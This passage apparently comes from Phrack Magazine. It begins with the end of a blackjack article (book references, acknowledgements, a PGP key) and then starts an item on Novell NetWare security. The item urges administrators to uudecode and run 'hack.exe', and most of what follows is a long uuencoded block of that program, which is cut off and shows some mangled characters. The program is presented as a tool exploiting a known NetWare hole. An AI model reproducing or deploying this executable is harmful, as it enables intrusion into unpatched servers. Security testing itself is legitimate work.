[6] "The Optimum Strategy in BlackJack" by Roger R. Baldwin, Wilbert E. Cantey, Herbert Maisel, James P. McDermott. Journal of the American Statistical Association, September 1956. Eight of ten pages are mathematics.

[7] "The World's Greatest BlackJack Book" revised edition (1987) by Dr. Lance Humble and Dr. Carl Cooper, Doubleday. I am not sure it is THE world's greatest, but it is an excellent book. It is 400 pages and provides more details than you probably care to know about the Hi‑Opt I counting system.

[8] "Turning the Tables on Las Vegas" by Ian Anderson, 1978. This is an excellent book if you were interested in The Social Engineering the Casino section. The author shares a lot of interesting and funny stories that can keep you from getting barred. Note that 'Ian Anderson' is the authors' handle.

[9] "Las Vegas, Behind the Tables" by Barney Vinson, 1986, Gollehon Press. Written by a casino executive, I found it to be quite illuminating.

[10] "Gambling Scams" by Darwin Ortiz, 1990, Carrol Publishing. If you play in any private games, be sure to read this one to avoid getting screwed. It even has a section on crooked carnival games.

[11] "Winning Without Counting" by Stanford Wong. This book has an interesting section on 'Dealer Tells' and how to exploit them.

[12] "Rec.Gambling" Internet USENET Newsgroup. The rec.gambling newsgroup is an excellent free source of current information on BlackJack and other games. People who have just gotten back from various casinos post about their playing results and the treatment from casinos. One person just posted that he was barred from playing BlackJack (a casino employee told him he could play any game in the casino EXCEPT BlackJack) after he was ahead only $40.00. The reason apparently was due to his fairly mechanical play and betting. The rec.gambling FAQ was message #15912 when I read the newsgroup on 6/8/93. They plan on posting the FAQ every month or so. I found the FAQ to be very informative. There is an alt.gambling newsgroup but it is dead with 0 messages.

[13] "The Winner's Guide to Casino Gambling", revised edition by Edwin Silberstang, 1989 Plume printing. This book covers a wide range of casino games and has a large list of gambling terms in the back.

[14] "Gambling and Society" edited by William R. Eadington, 1976. This book provides plenty of information on the psychology of gambling. I found the section on 'Who Wants to be a Professional Gambler?' interesting as the study indicates the types of vocations that show high correlations with being a professional gambler. One of those vocations with an 'extremely high correlation' was being a Secret Service agent. Maybe Agent Foley will change jobs.....he can't do much worse, ahem. Chapter 24 by James N. Hanson is entitled "Nonlinear Programming Simulation and Gambling Theory Applied to BlackJack" which some of you programmers might be interested in.

[15] "The BlackJack Shuffle‑Tracking Treatise" by Michael R. Hall accessible via the Internet by anonymous FTP: soda.berkeley.edu in the pub/rec.gambling/blackjack directory. This is a very detailed 78K file that was well done. It provides plenty of the nitty‑gritty details that I did not have the space to mention in this article. I highly recommend it.

[16] "Risk of Ruin" by Michael R. Hall available from same source as [15] above. This paper provides some mathematical formulas for helping you determine the likelihood of losing portions of your starting bankroll. Although the equations look complicated, anyone with a $10. scientific calculator can use them. The author provides source code for a program written in C that calculates the risk formula. Also get his "Optimal Wagering" file which helps you determine your bet size.

[17] The movie: "Fever Pitch" starring Ryan 'O Niel. This is the most realistic movie I have seen regarding the psychology of a gambler. If I recall correctly, it was made in 1985 and is in most video rental stores.

Final Comments:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let me quickly thank those who took the hour to read my article, recommended corrections and offered their insightful comments: The Marauder, Mark Tabas, Professor Falken, Al Capone, Jester Sluggo, and Bruce Sterling. Also, I would like to thank JLE, my 'gambling mentor' mentioned earlier even though he doesn't know me as 'lex' and probably will never see this file.

If anyone has comments, corrections, etc. feel free to email me. Kindly note that I have no interest in receiving flames from any self professed BlackJack experts out there as I do not claim to be an expert and due to size restrictions, I couldn't get all that complicated regarding counting techniques and such. Besides, anyone who wants to get serious will take the time to thoroughly read the references listed in the previous section. My main purpose was to familiarize you with the game of BlackJack and provide a resource which can point you in the right direction for more in‑depth information. Thank you for your time and I hope you learned something from this article even if you don't put any of the information to use.

If you have something really SEKRET to tell me, here is my PGP Public Key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.2

mQCNAiwEHN4AAAEEAMtDxWI2HYsAQO8QhDBYhHvmn3fzGpKFbimxl34XiQ5woU/K lqbD53ahfnB9ST22yxEvexXW0VGVVfSp9xiUl7d7RsTm7Uas3OaOOiSFIRCVvcG8 FnWARH0nmELBXYkXXjjvjm2BiCEkn45eFaZPX7KbCuIGVjCe3zltpJGBK2OvAAUR tCRMZXggTHV0aG9yIDxsZXhAbWluZHZveC5waGFudG9tLmNvbT4=

=LOXY

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Help for Verifying Novell Security

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 11 of 27

Help for Verifying Novell Security

Provided By

Phrack Magazine

In nearly a year since their release, the programs Hack.exe and View.exe are still potential threats to the security of Novell Networks. Despite Novell's commendable response with a patch for the holes these programs exposed, many system administrators have not yet implemented the fix.

We at Phrack encourage system administrators to uudecode and execute the following programs to determine whether or not their servers are at risk.

The patches, SECUREFX.NLM for Netware 3.11, and SECUREFX.VAP for Netware 2.2 are available via Novell's NetWire, or from ftp.novell.com. Users with additional questions about Netware security can call Novell directly at 800‑638‑9273.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

begin 777 hack.exe

M35HA 2L 6 %@ )H __\,!0 (%10Z *@ '@ $ ) #B!"( X@0@ .($'@#B M!!P X@0: .($& #B!!8 X@04 .($$@#B!! X@0. .($# #B! H X@0( .($ M!@#B! 0 X@0" .($ #B!"D" . @ ^ $ .P! #C 0 S0$ +<! "K M 0 HP$ )L! "3 0 A0$ &<! !@ 0 &@$ !,! & 0 \0 ,( M "[ JP )X "( <@ %H [ ‑ "P D ' M \ ) =@0 &H$ !B! 6@0 #P$ U! ' 0 !4$ ‑! M! 0 /@# #O P WP, ‑8# ## P NP, *X# "8 P @@, &$# !4 M P /@, !T# 0 P ^@( .H" #B @ V@( ‑$" #* @ J@( *," M "; @ A ( 'T" Y @ ,@( ‑@& "R!@ JP8 (8& !_!@ <08 M %8& !*!@ 008 "0& =!@ # 8 0& #\!0 ] 4 .P% #D!0 MS@4 +@% "7!0 B@4 '0% !M!0 904 %T% !4!0 /@4 D% #\ M! Y@0 +$$ "D! C@0 (<$ #E" V @ ,(( "[" > @ &@( M !@" 6 @ $\( T" '@@ !(( )" \P< ‑T' #$!P O0< M *,' "7!P CP< (<' !_!P 10< !X' (!P 0< / & #H!@ MWP8 'P* !E"@ 7@H "@* 5"@ !@H /() #K"0 UPD +() "@ M"0 B@D '0) ^"0 ,0D !L) / ( "‑@" L@ C0*K (T"G0"‑ G@ MC0)5 (T".P"‑ BH C0(9 (T""P&= NL G0+" )T"G0"= H4 G0)D )T"20"= M C$ G0(@ )T"? "P E0 L (L + "B@.X DD"N +K ;@"Q &X JL!N *3 ;@" M#0&X O@ N +> +@"6P"X D8 N (L +@"0P>X C4'N (=![@""P>X NT&N +M!K@"H :X H0&N )Y!K@"4@:X CP&N (,!K@" 0:X NH%N +1!;@"O 6X HP% MN *!!;@":@6X E$%N (\!;@"O 2X MP*N (T"K@"K@FX H4)N )L";@"00FX M A@)N (*";@"VPBX LT(N *U"+@"HPBX H((N )I"+@"/@BX @\(N (!"+@" MZ0>X M<'N *V![@"G0>X G('N (/ &D#*0!M X( = ‑K '0#5 !T S8 = ,< M 'P#90!^ T\ ?@,Y 'X#(P!^ P\ ?@.P (0#D0"$ W A ‑3 (0#‑@"$ W4 MD@‑@ )(#/0"2 R, D@,2 )(#_@": ]0 F@.? )H#E ": W$ F@‑0 )H#/P": M RT F@,< )H#9@;S T4 J !E *@ ;0"H +4 J "\ *@ P0"H ‑P J #B *@ MY0"H /< J #\ *@ _@;S _L!J !T J@ B *H ,X"J #7 J@ ‑P6H !$&J " M!J@ ;@:H %(&J . .$$‑@WS S ‑\P.8#O,#,0BH P(J #K!Z@ 9P>H %H' MJ !/!Z@ . >H "X'J @!Z@ =@BH &8*J !4"J@ 1PJH #<*J #_":@ S0FH M +H)J "I":@ $@FH 8)J #W"*@ ZPBH ,H*J '"Z@ GP^H (H/J F .($ M>!.H .$2J !U$J@ ‑Q*H "X6J #1%Z@ _1>H +49J #&#O,#R@[S \X.\P/2

M#O,#U@[S ]$;J

M

M

M 58OLN @ FI0"J !6F@0 9P,*P'0#Z5P*N'8#NJ\#4E"X' "ZKP‑2 M4+@& +JO U)0N$(#NJ\#4E":!P" H/$$ O =0/I)PJ.!C /)J!" RKD4+A" M !Y0FC(&J "#Q :.!C(/)J & "KD4+A: !Y0FC(&J "#Q :.!C0/)O\V' "X M<@ >4)HR!J@ @\0&C@8V#R;_‑G8#N(H 'E":,@:H (/$!KBB !Y0FC(&J "# MQ 2X, !0*\!0N$8#NJ\#4E":B!NH (/$"(X&. \FQ@9. _@FQ@9/ _@FQP90 M T #)L<&: ," ";'!FH#I@(FQP9L Z\#)L<&;@,E ";'!G #6 FQP9R Z\# MN"8 4"O 4+BF KJO U)0FH@;J "#Q B.!CH/)L<&I@+__R;&!JL"$2;&!K8" M!";&!K<"42;&!L("0";&!L," R;'!L0"(B(FQ@;* A>X!@%0*\!0N%@ NJ\# M4E":B!NH (/$"(X&/ \FQ@9: $$FQ@9; FQ@9< &:"@!\ XX&/@\FHT0# MN&@"NJ\#4E"X7@&ZKP‑24+CB ;JO U)0N" NJ\#4E F_S9$ YH, (0#@\02 MC@9 #R:C<@)0N*0 'E":,@:H (/$!HX&/@\F_S9$ [B\ !Y0FC(&J "#Q :X M( "ZKP‑24+C4 !Y0FC(&J "#Q B.!D(/)O\VX@&X[ >4)HR!J@ @\0&C@9$ M#R;_‑F !)O\V7@&X! $>4)HR!J@ @\0(N" NJ\#4E":ZAJH (/$! 5 (X& M. \FHW0#!28 B4;^C@8Z#XI&_RKDBF[^*LD#P2:CJ *#;OX"C@8\#XI&_RKD MBF[^ \$FHU@ N" NJ\#4E":ZAJH (/$!(A&^HX&/ \FHET *N10N" NJ\# M4E"X7@"ZKP‑24)H"&Z@ @\0*BD;Z*N2+\(X&/ \FQH1> ^X' $>4(V$7P"Z MKP‑24)J*&J@ @\0(N @ NJ\#4E"X4 "ZKP‑24+@" +JO U)0C@8^#R;_‑D0# MF@P = .#Q Z.!D /)J‑R E"X+ $>4)HR!J@ @\0&N$0!'E":,@:H (/$!,=& M_ BU[\C@9&#R:*AP( *N10N%D!'E":,@:H (/$!O]&_(‑^_ 1\V[A> 1Y0 MFC(&J "#Q 2X8 $>4)HR!J@ @\0$QT;\ "+7OR.!D@/)HJ'4 JY%"X=0$> M4)HR!J@ @\0&_T;\@W[\!GS;N'H!'E":,@:H (/$!(X&2@\F_S8( +A\ 1Y0 MFC(&J "#Q :XE $>4)HR!J@ @\0$FE8 ?@..!DP/)J‑P E"XE@$>4)HR!J@ M@\0&N'0"NJ\#4E".!DP/)O\V< *:"P") H/$!KAT KJO U)0N*X!'E":,@:H M (/$"+AT KJO U)0N" NJ\#4E":BAJH (/$"(X&0@\FQP;B 00 N,8!'E"X M# "ZKP‑24)J*&J@ @\0(C@9.#R;'!J0" 0".!E /)L8& N H NJ\#4E"X M "ZKP‑24+AX [JO U)0N $ 4+@, +JO U)0C@9"#R;_‑N(!N" NJ\#4E": M#@"= H/$&(X&0 \FHW("4+C2 1Y0FC(&J "#Q :XZ@$>4)HR!J@ @\0$QT;\ M "+7OR.!E(/)HJ'> ..!CH/)HB'K *+7OR.!E(/)HJ'> .84+C_ 1Y0FC(& MJ "#Q ;_1OR#?OP$?,>X! (>4)HR!J@ @\0$N 8"'E":,@:H (/$!,=&_ 0 MBU[\C@92#R:*AW@#C@8Z#R:(AZP"BU[\C@92#R:*AW@#F%"X&P(>4)HR!J@ M@\0&_T;\@W[\"GS'N" "'E":,@:H (/$!+CF ;JO U)0N&(#NJ\#4E"X> .Z MKP‑24)H" &T#@\0,C@9 #R:C<@)0N"("'E":,@:H (/$!K@Z AY0FC(&J "# MQ 3'1OP (M>_(X&. \FBH=B RKD4+A/ AY0FC(&J "#Q ;_1OR#?OP&?‑NX M5 (>4)HR!J@ @\0$QT;X #'1OP .F# ;CE ;JO U)0N!X NJ\#4E"XY &Z MKP‑24+CB ;JO U)0N" NJ\#4E"X7@&ZKP‑24(X&5 \F_S96 +C, KJO U)0 MF@( C0*#Q!Z.!D /)J‑R @O = /I]@!0N%<#'E":,@:H (/$!K@@ +JO U)0 MN&\#'E":,@:H (/$"(X&1 \F_S9@ 2;_‑EX!N(<#'E":,@:H (/$"+B? QY0 MN" NJ\#4E":P!JH (/$" O ="N.!D(/)O\VX@&XJ@,>4+BU QY0)O\VX@&X M( "ZKP‑24)H* + "@\00ZU20C@9.#R;'!J0" 0".!E /)L8& N,4#'E"X M8@&ZKP‑24)J*&J@ @\0(N&(!NJ\#4E"XZ &ZKP‑24(X&0@\F_S;B ;@@ +JO M U)0FF8!N *#Q Z.!D /)J‑R E"XT@,>4)HR!J@ @\0&C@9 #R;'!G(" ". M!D /)H,^<@( =0/IH_ZXZ@,>4)HR!J@ @\0$@W[X '00@W[X '0#Z2@#N 8$ MZ1@#D/]&_(X&‑ \FH1P .4;\<^".!CX/BT;\)J‑$ [AH KJO U)0N%X!NJ\# M4E"XX@&ZKP‑24+@@ +JO U)0)O\V1 .:# "$ X/$$HX&0 \FHW(""\!UEKA6 M AY0N" NJ\#4E":P!JH (/$" O = /I>O_'1OC__[AA AY0FC(&J "#Q 2. M!D /)O\V<@*X8P(>4)HR!J@ @\0&C@8^#R;_‑D0#N'L"'E":,@:H (/$!K@@ M +JO U)0N),"'E":,@:H (/$"(X&0@\F_S;B ;BK AY0FC(&J "#Q :.!D0/ M)O\V8 $F_S9> ;C# AY0FC(&J "#Q BX" "ZKP‑24+A0 +JO U)0N ( NJ\# M4E".!CX/)O\V1 .:# !T X/$#HX&0 \FHW("C@8^#R:@1 ..!CH/)J+' HI& M^BKDB_".!CP/)HBD;@ FQH1O $FQH1P JXVP(>4(V$<0"ZKP‑24)J*&J@ M@\0(C@9 #R;_‑G("N.8"'E":,@:H (/$!KC^ AY0FC(&J "#Q 3'1OP (M> M_(X&1@\FBH<" (X&.@\FB(>X HM>_(X&1@\FBH<" "KD4+@3 QY0FC(&J "# MQ ;_1OR#?OP$?,:X& ,>4)HR!J@ @\0$N!H#'E":,@:H (/$!,=&_ BU[\ MC@9(#R:*AU C@8Z#R:(A[P"BU[\C@9(#R:*AU *N10N"\#'E":,@:H (/$ M!O]&_(‑^_ 9\QK@T QY0FC(&J "#Q 2.!DH/)O\V" "X‑@,>4)HR!J@ @\0& MQT;^ "X3@,>4)HR!J@ @\0$C@8Z#XM&_B:CR +'1OP (I&^@0‑B$;ZN%$# M'E":,@:H (/$!(X&.@^*1OHFHL8"N$8#NJ\#4E":%@"H (/$!(X&. \F@#Y. M P!U])H& &D#_T;\@7[\ %UM9H& &D#_T;^@W[^"'6*N%,#'E":,@:H (/$ M!(X&0 \FQP9R @ C@9$#R;'!EX!__\FQP9@ ?__C@94#R;'!E8 0"X50,> M4+C, KJO U)0FHH:J "#Q CIP?R0N"\$ZP20N$\$'E":,@:H (/$!%Z+Y5W+ M %6+[('L 165QX&#A]5BW8&BT8(CL"[#P#‑>ET' M'U]>B^5=R[0PS2$\ G,"S2"_[P.+‑@( *_>!_@ 0<@.^ !#ZCM>!Q,X1^W,4 M%A^::@*H #/ 4)HM!:@ N/],S2&#Y/XVB2:D!C:))J &B\:Q!‑/@2#:CG@8# M]XDV @",PRO>]]NT2LTA‑HP>%0<6!_R_,A"YT!$KSS/ \ZH6'YH( :@ %A^: MA@2H )K> J@ ,^W_‑CH'_S8X!_\V‑@?_‑C0'_S8R!YH 4)K, :@ N.\# MCMBX P VQP:B!LP!4)IJ J@ FBT%J "X_P!0#O\6H@8 M##‑(:,7![@ ‑<TA MB1X#!XP&!0<.'[@ );KD ,TA%A^+#B(/XRZ.!A4')HLV+ #%!B0/C‑HSVS;_ M'B /<P46'^E# 3;%!B@/C‑J[ P V_QX@#Q8?C@85!R:+#BP XS:.P3/_)H ] M '0LN0P OO8&\Z9T"[G_?S/ \JYU&>OE!AX''XOWOQX'K)B1K/[ = %(JN+W M%A^[! " IQX'O[@ 1,TA<@KVPH!T!8"/'@= 2WGGOBP/ORP/Z)4 OBP/ORP/ MZ(P RU6+[+[($;_($>A_ +XL#[\P#^AV .L#58OLOC /OS /Z&@ OC /OS / MZ%\ FK@"J +P'0+@WX& '4%QT8&_P"Y#P"[!0#VAQX' 70$M#[‑(4/B\N@' M (M&!K1,S2&+#B(/XP>[ @#_'B /'L46 P>X "7‑(1^ /D0' '0‑'J!%!\46 M1@>T)<TA'\,[]W,.@^\$BP4+10)T\O\=Z^[#58OLN/P 4)HM!:@ @SY,!P!T M!/\>2@>X_P!0FBT%J "+Y5W+N ( Z5_^65J+W"O8<@L['E('<@6+XU)1RZ%. M!T!U!3/ Z4'^4E'_+DX'5C/VN4( ,N3\K#+@XON ]%5T$9IJ J@ N $ 4)HM M!:@ N $ 7LN/!E0'CP96![H" #@6%P=T*8X&%0<FC@8L (P&/@<SP)FY ( S M__*NKG7[1T>)/CP'N?__\J[WT8O1OP$ OH$ CAX5!ZP\('3[/ ET]SP‑=&\* MP'1K1TZL/"!TZ#P)=.0\#71<"L!T6#PB="0\7'0#0NOD,\E!K#Q<=/H\(G0$ M ]'KTXO!T>D3T:@!=<KK 4ZL/ UT*PK ="<\(G2Z/%QT T+K[#/)0:P\7'3Z M/")T! /1Z]N+P='I$]&H 772ZY<6'XD^,@<#UT?1Y]'G ]> XOXKXHO$HS0' MC!XV!XO8 _L6!S:)/S:,5P*#PP3%‑CP'K*H*P'7ZOH$ ‑HX>%0?K S/ JJP\ M('3[/ ET]SP‑=0/IA *P'4#ZWZ0‑HD_‑HQ7 H/#!$ZL/"!TUCP)=‑(\#71B M"L!T7CPB="<\7'0#JNOD,\E!K#Q<=/H\(G0&L%SSJNO1L%S1Z?.J<P:P(JKK MQ4ZL/ UT+@K ="H\(G2W/%QT ZKK[#/)0:P\7'3Z/")T!K!<\ZKKV;!<T>GS MJG.6L"*JZ\TSP*H6'\<' #'1P( /\N5 < 58OL58X>%0<SR8O!B^F+^4F+ M‑BP "_9T$([&)H ^ = ;RKD6N=?I%ET D_HO]T>71Y0/%%A]7OPD Z), M7XO/B_T#^(DN. >,'CH''@>.WC/V2>,7@3P[0W0)B7X C$8"@\4$K*H*P'7Z MXNF)3@")3@(6'UV+Y5W+ %6+[%97'@>+5@:^8 ^M.\)T$$"6= R7,\"Y___R MKHOWZ^N67UZ+Y5W* @!5B^Q7_W8&F@(%J +P'04DHOZ,\"Y___RKO?12;L" M +1 S2%?B^5=R@( B] #!J0&<C4Y!IX&<R4%#P!0T=BQ ]/HC‑F+'A4'*\L# MP8[#B]BT2LTA6'(0)/!(HYX&E8LNI 8!%J0&PXO'Z5G[<A,SP(OE7<MS^%#H M& !8B^5=RW,'Z X N/__F8OE7<LRY.@! ,NB&@<*Y'4C@#X7!P‑R#3PB<PT\ M('(%L 7K!Y \$W8"L!.[6 ?7F*,/!\.*Q.OW58OL@^P&5KAN#8E&^HQ>_"OV MZQS$7OHF]D<*@W0.!E.:< JH (/$!$!T 4:#1OH,H=8.BQ;8#CE&^G;8B\9> MB^5=RY!5B^R#[ Q6N'H‑B4;VC%[XC48*B4;ZC%;\'O]V]IK6"*@ @\0$B_#_ M=OS_=OK_=@C_=@;_=OC_=O::_@JH (/$#(E&]/]V^/]V]E::D FH (/$!HM& M]%Z+Y5W+D%6+[(/L"%=6Q%X()HI'"YB)1OJ+PRUN#9FY# #W^8O(T> #P='@ M!5X.B4;X)O9'"H‑T!R;V1PI = [$7@@F@$\*(+C__^EP 2;V1PH!=>LF@$\* M B: 9PKO*\ FB4<$B_")=OPF]D<*#'0#Z98 B\,M;@V9N0P ]_F+V‑'C ]C1 MX_:'7@X!=7R!?@AZ#74'@7X*[P‑T#H%^"(8‑=5N!?@KO W54_W;ZFC8;J "# MQ (+P'51_P9L!X%^"'H‑=12!?@KO W4‑Q%X(N&X)NN\#ZPN0D,1>"+AN"[KO M R:)1P8FB5<()HD')HE7 HM>^,=' @ "Q@<!ZPV0_W8*_W8(Z+T @\0$Q%X( M)O9'"@AU&HO#+6X‑F;D, /?YB]C1XP/8T>/VAUX. 71JBUX()HLW)BMW!B:+ M1P8FBU<(0":)!R:)5P*+?OB+10)()HE'! OV?A=64B;_=P;_=OJ:TA6H (/$ M"(E&_.L<D(M>^O:''@<@=!&X @!0*\!04%.:6!6H (/$",1>"";$7P:*1@8F MB ?K&;X! (O&4(U&!A90_W;ZFM(5J "#Q B)1OPY=OQT ^F'_HI&!BKD7E^+ MY5W+58OL@^P$BT8$+6X‑F;D, /?YB\C1X /!T> %7@Z)1OR,7OZX )0FIT7 MJ "#Q +$7@0FB4<&)HE7" O0=! F@$\*",1>_";'1P( NL@Q%X$)H!/"@2+ M1OR+5OY )HE'!B:)5PC$7OPFQT<" 0#$7@0FBT<&)HM7"":)!R:)5P(FQT<$ M "+Y5W#58OL@^P&5O\&; >!?@9Z#744@7X([P‑U#<=&_&X)QT;^[P/K&9"! M?@:&#74U@7X([P‑U+L=&_&X+QT;^[P/$7@8F]D<*#'4:B\,M;@V9N0P ]_F+ MV‑'C ]C1X_:'7@X!= 0KP.M/BT8&+6X‑F;D, /?YB\C1X /!T> %7@Z)1OK$ M7@:+1OR+5OXFB4<&)HE7"":)!R:)5P*+=OJX *)1 (FB4<$B][&!P&+7@8F M@$\* K@! %Z+Y5W+58OL@^P$@WX& '4#Z8D @7X(>@UU!X%^"N\#=!2!?@B& M#70#Z;0 @7X*[P‑T ^FJ ,1>"":*1PN84)HV&Z@ @\0""\!U ^F2 (M&""UN M#9FY# #W^8O(T> #P='@!5X.B4;\C%[^_W8*_W8(FG *J "#Q 3$7OPFQ@< M)L=' @ Q%X(*\"9)HD')HE7 B:)1P8FB5<(ZT/$7@@F@7\&;@EU"":!?PCO M W00)H%_!FX+=2@F@7\([P‑U(":*1PN84)HV&Z@ @\0""\!T#O]V"O]V")IP M"J@ @\0$B^5=RY!5B^R#[ 16*_;$7@8FBD<*) ,\ G59)O9'"@AU&HO#+6XMF;D, /?YB]C1XP/8T>/VAUX. 70XBUX&)HL')BM'!HE&_ O ?B=0)O]W"";_ M=P8FBD<+F%":TA6H (/$"#M&_'0+Q%X&)H!/"B"^___$7@8FBT<&)HM7"":) M!R:)5P(FQT<$ "+QEZ+Y5W+58OLN H FI0"J "X9A"C8!",'F(0BT8.BU80 MHTX0B190$(M&!HM6"*,T$(D6‑A#'!EH0 #'!E@0 #I00. ?O8E= /IIP+' M!EP0 0 KP*,^$*,Z$*‑6$*,\$*‑4$*‑2$*,X$*,R$*‑,$,<&QA$@ ,1>"B: M?P$P=4G_1@K'!L81, #K/I"+7@HF@#\K=0W_!CX0QP92$ ZRB0)H _('4. M@SX^$ !U&O\&4A#K%)#_!C(0ZPW$7@HF@#\M=<?_!DP0_T8*BUX*)HH'F% . MZ$H)@\0""\!UW?]V#/]V"KAD$!Y0#NB2"(/$"(E&"HE6#(,^9! ?0S_!DP0 MH600]]BC9!#$7@HF@#\N=2[_!E00_T8*!O]V"KA<$!Y0#NA9"(/$"(E&"HE6 M#(,^7! ?0K'!EP0 0#_#E00Q%X*)HH'F#U& '0]/4X =$ ]: !T*SUL '4& MQP8\$ ( @SX\$ !U"<1>"B: /TQU _]&"L1>"B: /P!U'.D4 I#'!CP0 0#K MV,<&/! 0 .O0QP8\$ @ Z\@FB@>8B4;X/44 = H]1P!T!3U8 '4(_P8Z$(‑& M^""+1O@M8P ]%0!V ^D> 0/ DR[_I_P‑Q!Y.$";$'Z%8$":)!X,&3A $Z4T! MD/\&5A#'!C(0 "X"@!0#NB^ 8/$ NDT ;@( .OPD/\&.!#_!CH0@SY4$ !U M"<<&7A ! .L'D,<&7A /\&5!#'!EP0! "#/CP0"'4#Z9 *\"C/!")1OHY M!F00=">A9!")1OJ#/DP0 '0)QP9D$ ZQ*0@RYD$ 6A9! +P'T"*\"C9!"# M!DX0 K@0 % .Z#X!@\0"N#H 4 [HB02#Q *#?OH ="*#/DP0 '05BT;Z+04 MHV00"\!] BO HV00ZP>0QP9D$ @RY.$ 2X$ !0#NC[ (/$ H,&3A "ZVV0 MN! Z2?_*\!0#NA9 NDB_[@! .OSD/]V^ [H/0/I$O^#/CP0 '0)BT8*BU8, M_TX*BT8*BU8,0(E&_(E6_NM2D,P‑X S2#=(‑T@W<#> ,W W<#=P‑W W&#/0, M^@S<#=P‑P@W<#=P,W W<#;P‑@SY:$ !T%8,^6! =6[$'C00)O9'"B!U7NMA MD/]&"NLTD/]&_,1>_":*!XA&]@K = 0\)77LB\,K1@I0_W8,_W8*#NA,!(/$ M!HM&_(M6_HE&"HE6#,1>"B:*!XA&]@K = /IK_R#/E@0 '40Q!XT$";V1PH@ M= 6X___K Z%8$(OE7<N058OL@^P25U:#?@8*= 3_!E80@SX\$ )T!X,^/! 0 M=1C$'DX0)HL')HM7 HE&_(E6_H,&3A $ZRN#/E80 '01Q!Y.$":+!XE&_,=& M_@ ZP[$'DX0)HL'F8E&_(E6_H,&3A "@SXR$ !T#HM&_ M&_G0&BT8&ZP.0 M*\"CQ!&A8!"+%F(0B4;RB5;T@SY6$ !U,8‑^_@!]*X‑^!@IU'<1>\O]&\B;& M!RV+1OR+5O[WV(/2 /?:B4;\B5;^QT;V 0#K!I#'1O8 +A $(E&^(Q>^O]V M!AY0_W;^_W;\FBP;J "#Q J#/E00 '0Q_W;Z_W;XFNH:J "#Q 2+#EP0*\B) M3O#$?O+K!2;&!3!'B\%)"\!_](E^\HQ&](E.\(L..A",7N[%=O+$7O@FB@>( M! O)= <\87P#@"P@1O]&^": /P!UXXEV\HQ>](Y>[H,^5A =12A/A +!E(0 M= N#?O8 =06X 0#K BO 4 [H%P.#Q )>7XOE7<M5B^R#[!!75H‑^!@!T&+X! M *%.$(L64!")1OB)5OJ#!DX0 NF5 (,^/! (=!G$'DX0)HL')HM7 HE&^(E6 M^H,&3A $ZQ:0Q!Y.$":+!XE&_(E&^(Q>^H,&3A "@SX\$ AT#HM&^ M&^G45 MN‑H.ZPJ0@W[\ '4)N.$.B4;XC%[ZBT;XBU;ZB4;RB5;T*_8Y‑E00=!R+#EP0 MZPZ0Q%[R_T;R)H _ '051CO.?A#K[9!&Q%[R_T;R)H _ '7SBSYD$"O^@SY, M$ !U"%<.Z%\!@\0"5O]V^O]V^ [HO0&#Q :#/DP0 '0(5P[H0@&#Q )>7XOE M7<N058OL@^P&H4X0BQ90$(E&_(E6_H‑^!F=T!H‑^!D=U!; !ZP.0*L"(1OJ# M/E00 '4&QP9<$ 8 @'[Z '0‑@SY<$ !U!L<&7! ! /\V.A#_‑EP0_W8&_S9B M$/\V8!#_=O[_=OR.!E8/)O\>! ^#Q Z ?OH =!N#/C(0 '44_S9B$/\V8!". M!E8/)O\>" ^#Q 2#/C(0 '0;@SY<$ !U%/\V8A#_‑F 0C@96#R;_'A /@\0$ M@P9.$ C'!L01 "A/A +!E(0=!O_=O[_=OR.!E8/)O\>% ^#Q 0+P'0%N $ MZP(KP% .Z#,!B^5=RY!5B^Q6@SY:$ !U/<0>‑! F_T\$>!6*1@8FBS<F_P<F MCD<")H@$*N3K$9#_‑C804_]V!IJ.!J@ @\0&0'4'_P9:$.L%D/\&6!!>7<N0 M58OL@^P"5U:#/EH0 '57BW8&"_9^4.L;_S8V$/\V‑!#_‑L81FHX&J "#Q 9 M=03_!EH0B\9."\!^'L0>‑! F_T\$>‑2@QA$FBS\F_P<FCD<")H@%*N3KU(,^ M6A =0>+1@8!!E@07E^+Y5W+58OL@^P"5U:+=@J#/EH0 '5>ZR+_‑C80_S8T M$,1>!B:*!YA0FHX&J "#Q 9 =03_!EH0_T8&B\9."\!T)<0>‑! F_T\$>,W$ M7@8FB@?$'C00)HL_)O\')HY' B:(!2KDZ\J#/EH0 '4'BT8* 098$%Y?B^5= MRU6+[(/L#%:A8!"+%F(0B4;TB5;V*\")1OR)1OJ#/L81,'48.094$'02.08X M$'0&.09>$'4&QP;&$2 BS9D$/]V]O]V])KJ&J@ @\0$B4;X*_ K=@:#/DP0 M '4BQ%[T)H _+749@S[&$3!U$O]&]":*!YA0#NA:_H/$ O].^(,^QA$P= L+ M]GX'@SY,$ !T&X‑^!@!T!_]&^@[H:0"#/L01 '0'_T;\#NAS (,^3! =2E6 M#NAG_H/$ H‑^!@!T"H‑^^@!U! [H/ "#/L01 '0*@W[\ '4$#NA# /]V^/]V M]O]V] [HHOZ#Q :#/DP0 '0.QP;&$2 5@[H(?Z#Q )>B^5=RY"#/CX0 '0% MN"L ZP.X( !0#NBX_8/$ LNX, !0#NBL_8/$ H,^Q!$0=1>#/CH0 '0%N%@ MZP.X> !0#NB._8/$ LM5B^R#[ 975L=&_@$ Q%X*)H _*G42Q!Y.$":+‑X,& M3A "_T8*ZV&0Q%X*)H _+74(QT;^____1@HK]HM>"B:*!XA&^CPP?$ \.7\\ M.394$'4*/#!U!L<&QA$P (O[ZP8F@#TY?QPFB@68B\[1X='A \[1X0/(@^DP

